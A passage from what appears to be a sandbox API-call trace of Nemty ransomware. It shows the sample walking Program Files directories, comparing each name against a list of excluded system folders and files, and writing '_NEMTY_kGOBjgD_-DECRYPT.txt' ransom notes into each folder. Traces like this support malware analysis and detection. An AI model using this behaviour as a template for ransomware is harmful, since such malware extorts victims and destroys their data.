(HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0099.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0099.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f940f0 [0099.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0099.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.441] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee1d0ab0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xee1d0ab0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xee1d0ab0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0099.441] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0099.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0099.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915e8 | out: hHeap=0x4f90000) returned 1 [0099.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0099.442] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1 [0099.442] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2=".") returned 1 [0099.442] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="..") returned 1 [0099.442] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="...") returned 1 [0099.442] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="windows") returned -1 [0099.442] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="$RECYCLE.BIN") returned 1 [0099.442] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="rsa") returned -1 [0099.442] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="NTDETECT.COM") returned -1 [0099.442] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="ntldr") returned -1 [0099.442] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="MSDOS.SYS") returned -1 [0099.442] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="IO.SYS") returned 1 [0099.442] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="boot.ini") returned 1 [0099.442] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="boot.ini") returned 1 [0099.442] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="AUTOEXEC.BAT") returned 1 [0099.442] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="ntuser.dat") returned -1 [0099.442] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="desktop.ini") returned 1 [0099.442] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="CONFIG.SYS") returned 1 [0099.442] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="RECYCLER") returned -1 [0099.442] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="BOOTSECT.BAK") returned 1 [0099.442] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="bootmgr") returned 1 [0099.442] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="programdata") returned -1 [0099.442] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="appdata") returned 1 [0099.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft Analysis Services", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0099.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft Analysis Services", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Analysis Services", lpUsedDefaultChar=0x0) returned 27 [0099.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.442] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x512f1610, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0099.442] lstrcmpiW (lpString1="Microsoft Office", lpString2=".") returned 1 [0099.442] lstrcmpiW (lpString1="Microsoft Office", lpString2="..") returned 1 [0099.442] lstrcmpiW (lpString1="Microsoft Office", lpString2="...") returned 1 [0099.442] lstrcmpiW (lpString1="Microsoft Office", lpString2="windows") returned -1 [0099.442] lstrcmpiW (lpString1="Microsoft Office", lpString2="$RECYCLE.BIN") returned 1 [0099.442] lstrcmpiW (lpString1="Microsoft Office", lpString2="rsa") returned -1 [0099.442] lstrcmpiW (lpString1="Microsoft Office", lpString2="NTDETECT.COM") returned -1 [0099.443] lstrcmpiW (lpString1="Microsoft Office", lpString2="ntldr") returned -1 [0099.443] lstrcmpiW (lpString1="Microsoft Office", lpString2="MSDOS.SYS") returned -1 [0099.443] lstrcmpiW (lpString1="Microsoft Office", lpString2="IO.SYS") returned 1 [0099.443] lstrcmpiW (lpString1="Microsoft Office", lpString2="boot.ini") returned 1 [0099.443] lstrcmpiW (lpString1="Microsoft Office", lpString2="boot.ini") returned 1 [0099.443] lstrcmpiW (lpString1="Microsoft Office", lpString2="AUTOEXEC.BAT") returned 1 [0099.443] lstrcmpiW (lpString1="Microsoft Office", lpString2="ntuser.dat") returned -1 [0099.443] lstrcmpiW (lpString1="Microsoft Office", lpString2="desktop.ini") returned 1 [0099.443] lstrcmpiW (lpString1="Microsoft Office", lpString2="CONFIG.SYS") returned 1 [0099.443] lstrcmpiW (lpString1="Microsoft Office", lpString2="RECYCLER") returned -1 [0099.443] lstrcmpiW (lpString1="Microsoft Office", lpString2="BOOTSECT.BAK") returned 1 [0099.443] lstrcmpiW (lpString1="Microsoft Office", lpString2="bootmgr") returned 1 [0099.443] lstrcmpiW (lpString1="Microsoft Office", lpString2="programdata") returned -1 [0099.443] lstrcmpiW (lpString1="Microsoft Office", lpString2="appdata") returned 1 [0099.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft Office", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0099.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft Office", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Office", lpUsedDefaultChar=0x0) returned 16 [0099.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.443] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="Microsoft SQL Server Compact Edition", cAlternateFileName="MICROS~3")) returned 1 [0099.443] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2=".") returned 1 [0099.443] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="..") returned 1 [0099.443] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="...") returned 1 [0099.443] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="windows") returned -1 [0099.443] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="$RECYCLE.BIN") returned 1 [0099.443] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="rsa") returned -1 [0099.443] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="NTDETECT.COM") returned -1 [0099.443] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="ntldr") returned -1 [0099.443] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="MSDOS.SYS") returned -1 [0099.443] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="IO.SYS") returned 1 [0099.443] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="boot.ini") returned 1 [0099.443] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="boot.ini") returned 1 [0099.443] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="AUTOEXEC.BAT") returned 1 [0099.443] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="ntuser.dat") returned -1 [0099.443] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="desktop.ini") returned 1 [0099.444] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="CONFIG.SYS") returned 1 [0099.444] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="RECYCLER") returned -1 [0099.444] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="BOOTSECT.BAK") returned 1 [0099.444] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="bootmgr") returned 1 [0099.444] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="programdata") returned -1 [0099.444] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="appdata") returned 1 [0099.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0099.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft SQL Server Compact Edition", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0099.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft SQL Server Compact Edition", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft SQL Server Compact Edition", lpUsedDefaultChar=0x0) returned 36 [0099.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0099.444] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="Microsoft Sync Framework", cAlternateFileName="MICROS~4")) returned 1 [0099.444] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2=".") returned 1 [0099.444] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="..") returned 1 [0099.444] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="...") returned 1 [0099.444] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="windows") returned -1 [0099.444] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="$RECYCLE.BIN") returned 1 [0099.444] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="rsa") returned -1 [0099.444] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="NTDETECT.COM") returned -1 [0099.444] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="ntldr") returned -1 [0099.444] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="MSDOS.SYS") returned -1 [0099.444] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="IO.SYS") returned 1 [0099.444] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="boot.ini") returned 1 [0099.444] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="boot.ini") returned 1 [0099.444] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="AUTOEXEC.BAT") returned 1 [0099.444] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="ntuser.dat") returned -1 [0099.444] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="desktop.ini") returned 1 [0099.444] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="CONFIG.SYS") returned 1 [0099.444] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="RECYCLER") returned -1 [0099.444] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="BOOTSECT.BAK") returned 1 [0099.444] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="bootmgr") returned 1 [0099.444] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="programdata") returned -1 [0099.444] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="appdata") returned 1 [0099.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft Sync Framework", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0099.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.445] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft Sync Framework", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Sync Framework", lpUsedDefaultChar=0x0) returned 24 [0099.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.445] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbda77690, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xbda77690, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="Microsoft Synchronization Services", cAlternateFileName="MID7C0~1")) returned 1 [0099.445] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2=".") returned 1 [0099.445] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="..") returned 1 [0099.445] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="...") returned 1 [0099.445] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="windows") returned -1 [0099.445] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="$RECYCLE.BIN") returned 1 [0099.445] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="rsa") returned -1 [0099.445] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="NTDETECT.COM") returned -1 [0099.445] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="ntldr") returned -1 [0099.445] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="MSDOS.SYS") returned -1 [0099.445] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="IO.SYS") returned 1 [0099.445] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="boot.ini") returned 1 [0099.445] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="boot.ini") returned 1 [0099.445] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="AUTOEXEC.BAT") returned 1 [0099.445] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="ntuser.dat") returned -1 [0099.445] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="desktop.ini") returned 1 [0099.445] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="CONFIG.SYS") returned 1 [0099.445] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="RECYCLER") returned -1 [0099.445] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="BOOTSECT.BAK") returned 1 [0099.445] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="bootmgr") returned 1 [0099.445] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="programdata") returned -1 [0099.445] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="appdata") returned 1 [0099.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0099.445] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft Synchronization Services", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0099.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.445] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft Synchronization Services", cchWideChar=34, lpMultiByteStr=0x6345608, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Synchronization Services", lpUsedDefaultChar=0x0) returned 34 [0099.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0099.445] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0099.445] lstrcmpiW (lpString1="MSBuild", lpString2=".") returned 1 [0099.445] lstrcmpiW (lpString1="MSBuild", lpString2="..") returned 1 [0099.446] lstrcmpiW (lpString1="MSBuild", lpString2="...") returned 1 [0099.446] lstrcmpiW (lpString1="MSBuild", lpString2="windows") returned -1 [0099.446] lstrcmpiW (lpString1="MSBuild", lpString2="$RECYCLE.BIN") returned 1 [0099.446] lstrcmpiW (lpString1="MSBuild", lpString2="rsa") returned -1 [0099.446] lstrcmpiW (lpString1="MSBuild", lpString2="NTDETECT.COM") returned -1 [0099.446] lstrcmpiW (lpString1="MSBuild", lpString2="ntldr") returned -1 [0099.446] lstrcmpiW (lpString1="MSBuild", lpString2="MSDOS.SYS") returned -1 [0099.446] lstrcmpiW (lpString1="MSBuild", lpString2="IO.SYS") returned 1 [0099.446] lstrcmpiW (lpString1="MSBuild", lpString2="boot.ini") returned 1 [0099.446] lstrcmpiW (lpString1="MSBuild", lpString2="boot.ini") returned 1 [0099.446] lstrcmpiW (lpString1="MSBuild", lpString2="AUTOEXEC.BAT") returned 1 [0099.446] lstrcmpiW (lpString1="MSBuild", lpString2="ntuser.dat") returned -1 [0099.446] lstrcmpiW (lpString1="MSBuild", lpString2="desktop.ini") returned 1 [0099.446] lstrcmpiW (lpString1="MSBuild", lpString2="CONFIG.SYS") returned 1 [0099.446] lstrcmpiW (lpString1="MSBuild", lpString2="RECYCLER") returned -1 [0099.446] lstrcmpiW (lpString1="MSBuild", lpString2="BOOTSECT.BAK") returned 1 [0099.446] lstrcmpiW (lpString1="MSBuild", lpString2="bootmgr") returned 1 [0099.446] lstrcmpiW (lpString1="MSBuild", lpString2="programdata") returned -1 [0099.446] lstrcmpiW (lpString1="MSBuild", lpString2="appdata") returned 1 [0099.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSBuild", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0099.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSBuild", cchWideChar=7, lpMultiByteStr=0x653f8d0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSBuild", lpUsedDefaultChar=0x0) returned 7 [0099.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSBuild", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0099.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSBuild", cchWideChar=7, lpMultiByteStr=0x653f8d0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSBuild", lpUsedDefaultChar=0x0) returned 7 [0099.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0099.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0099.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0099.446] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0099.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.446] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0099.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0099.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8e) returned 0x6346d60 [0099.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0099.446] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\msbuild\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0099.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0099.447] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0099.447] WriteFile (in: hFile=0x3c0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0099.448] CloseHandle (hObject=0x3c0) returned 1 [0099.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0099.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0099.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0099.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0099.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0099.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0099.448] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0099.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.448] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, 